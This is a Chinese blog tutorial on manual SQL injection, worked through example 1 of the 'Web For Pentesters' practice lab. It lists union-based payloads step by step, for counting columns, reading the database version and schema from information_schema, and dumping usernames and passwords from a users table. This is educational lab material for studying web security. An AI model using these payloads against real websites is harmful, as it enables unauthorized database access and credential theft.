首页 > 数据库 >网络安全知识--PHP代码审计/Web For Pantesters 的 SQL injection

网络安全知识--PHP代码审计/Web For Pantesters 的 SQL injection

时间:2024-12-27 20:02:25浏览次数:8  
标签:Web name 输出 -- Pantesters 23 union root select

SQL 注入一般流程

  1. 判断有无注入
    单引号判断: ?name=root' 对应语句 select * from table where name='root'' 不符合语法规范,报错,说明有注入
    and,or判断....很多,网上搜

order by 判断字段数 ,order by 5可以 6不行,说明5个字段
得到字段数后union select得到可以输出的字段: union select ,a union b 要求a,b字段数相同。
比如 ' union select 1,2,3,4,5 %23, 输出 1,3,5 说明这三个字段可以输出

' 单引号,%27 (16位ascii)
%23 #,注释
--+ 忽略下一个符号

利用可以输出的字段获取信息
下面用 Web For Pantesters 的 SQL injection 的example 1为例

example 1

1.

?name=root' 出错无输出,说明可以注入

2.

name=root' order by 5 --+ 正常
6--+ 出错,说明5个字段

root' union select 1,2,3,4,5 发现输出为1,2,3,可以用1,2,3列输出信息。 (这里不一定用12345,78945也行,无所谓)

3.查看基本信息

database() 数据库名,information_schema.tables 存储元数据, ...
利用union select 查询基本信息。

root' union select @@verson,@@datadir,database(),4,5

因为union 要求列数相同,故除了 @@verson,@@datadir,database() 外还要有4,5。这样得到version,路径,数据库名

查询表名
数据库名为 exercises,转化为16进制XXX
然后 union select TABLE_NAME,2,3,4,5 from information_schema.tables where TABLE_SCHEMA=XXX %23.... //(数据库名的16进制),注意注释掉后面

得到表名users。查询column name。
union select TABLE_COLUMN,2,3,4,5 from information_schema.columns where TABLE_NAME=XXX %23.... // 表名的16进制

4.

输出三项,得到name,password
' union select id,name,passwd,4,5 from users %23

有时候可以用 group_concat,concat_ws ,括号等输出更多列的信息。(比如在3列中输出5列信息)

标签:Web,name,输出,--,Pantesters,23,union,root,select
From: https://blog.csdn.net/ztc131450/article/details/144701346

相关文章

  • 信息安全管理:通用安全管理checklist
    通用安全管理checklist是对信息安全管理调查问卷的一个补充,将以前没有包含的检查点纳入进来,算是对这个系列的一个拾遗与结尾。内容包含安全策略与计划、组织和人员安全、安全工程管理、安全产品管理与符合性五部分。一、安全策略与安全计划▼▼安全策略是否建立组织的安全......
  • 信息安全管理:运行管理checklist
    运行管理checklist内容包括日常操作与维护管理、变更管理、备份与故障恢复、应急与业务连续性管理等内容。一、日常操作与维护管理▼▼制度与流程是否建立日常运行操作制度与流程?包括网络、主机、应用等方面的操作制度与流程?是否明确相关部门和人员的职责?如:网络负责人、......
  • 使用 Astra DB 作为向量存储的快速入门教程
    老铁们,今天我们聊聊如何使用AstraDB作为一个向量存储。这玩意儿是基于ApacheCassandra®打造的无服务器数据库,支持向量存储,并且通过一个简易的JSONAPI提供服务。说白了,就是让你的数据库能更智能化地处理数据分析。技术背景介绍AstraDB提供了一个名为langchain......
  • 挂了代理就真的安全了吗?
    代理是保护网络隐私和安全的一种常见手段,通过代理服务器中转流量,使目标服务器无法直接获取用户的真实IP地址。然而,代理并非万能,有一些技术手段能够绕过代理,暴露用户的真实IP地址。WebRTC技术介绍WebRTC(WebReal-TimeCommunication)是一种开源技术,支持浏览器和移动设备之......
  • Shell升级:从非交互式到全交互式
    在渗透测试中,通过漏洞利用或反弹Shell获取的初始会话,往往是功能有限的非交互式Shell。为了提高操作效率和稳定性,我们通常需要将其升级为半交互式或全交互式Shell。国内很多打靶教程和文章往往没有详细介绍如何升级为完整的交互式Shell,相关资料也相对较少。本教程将详......
  • 多任务-线程
    线程:轻量级的进程,栈区独立(8M),与同一进程中的其他线程共用进程的堆区,数据区,文本区。1.线程的创建  线程由所属的进程创建,进程为其分配独立的栈区空间,  堆区,数据区,文本区与其他线程和所在进程共享。2.线程调度  宏观并行,微观串行 3.线程的消亡  1.线程......
  • C#使用Tesseract C++ API过程记录
    TesseractTesseract是一个开源的光学字符识别(OCR)引擎,最初由Hewlett-Packard(惠普)实验室开发,后来由Google收购并继续维护和开源贡献。Tesseract可以识别多种语言的文字,广泛应用于将图片或扫描文档中的文本内容转换成可编辑的文本格式。随着深度学习技术的发展,Tesseract......
  • 在FreeBSD或Ubuntu平台仿真RISCV64位版本FreeBSD系统相关技术文档
    本文档主要是针对没有实体机,用FreeBSD或Ubuntu平台仿真FreeBSDRISCV64系统的技术实现。RISCV64介绍RISCV64是一种基于RISC-V(以后简称RISCV)指令集架构(ISA)的64位处理器设计。RISCV是一种开放的指令集架构,由加州大学伯克利分校的研究团队于2010年首次发布,其设计目标是提供一个......
  • 动/静二维码/条形码,自定义批量生成/识别
    许多人在使用二维码时,常常会感到系统生成的二维码过于单调,缺乏个性。尤其是对于那些涉及个人品牌、市场营销或创意项目的人来说,搭配自己喜欢的图案、配色,甚至是gif等内容定制一个独特而吸引眼球的二维码会更具创意;分享一款动/静态二维码、条形码批量生成工具:批量二维码生......
  • 基于Java+Springboot+MySQL新闻资讯网站系统设计与实现
     博主介绍:黄菊华老师《Vue.js入门与商城开发实战》《微信小程序商城开发》图书作者,CSDN博客专家,在线教育专家,CSDN钻石讲师;专注大学生毕业设计教育、辅导。所有项目都配有从入门到精通的基础知识视频课程,学习后应对毕业设计答辩,提供核心代码讲解,答辩指导。项目配有对应开发......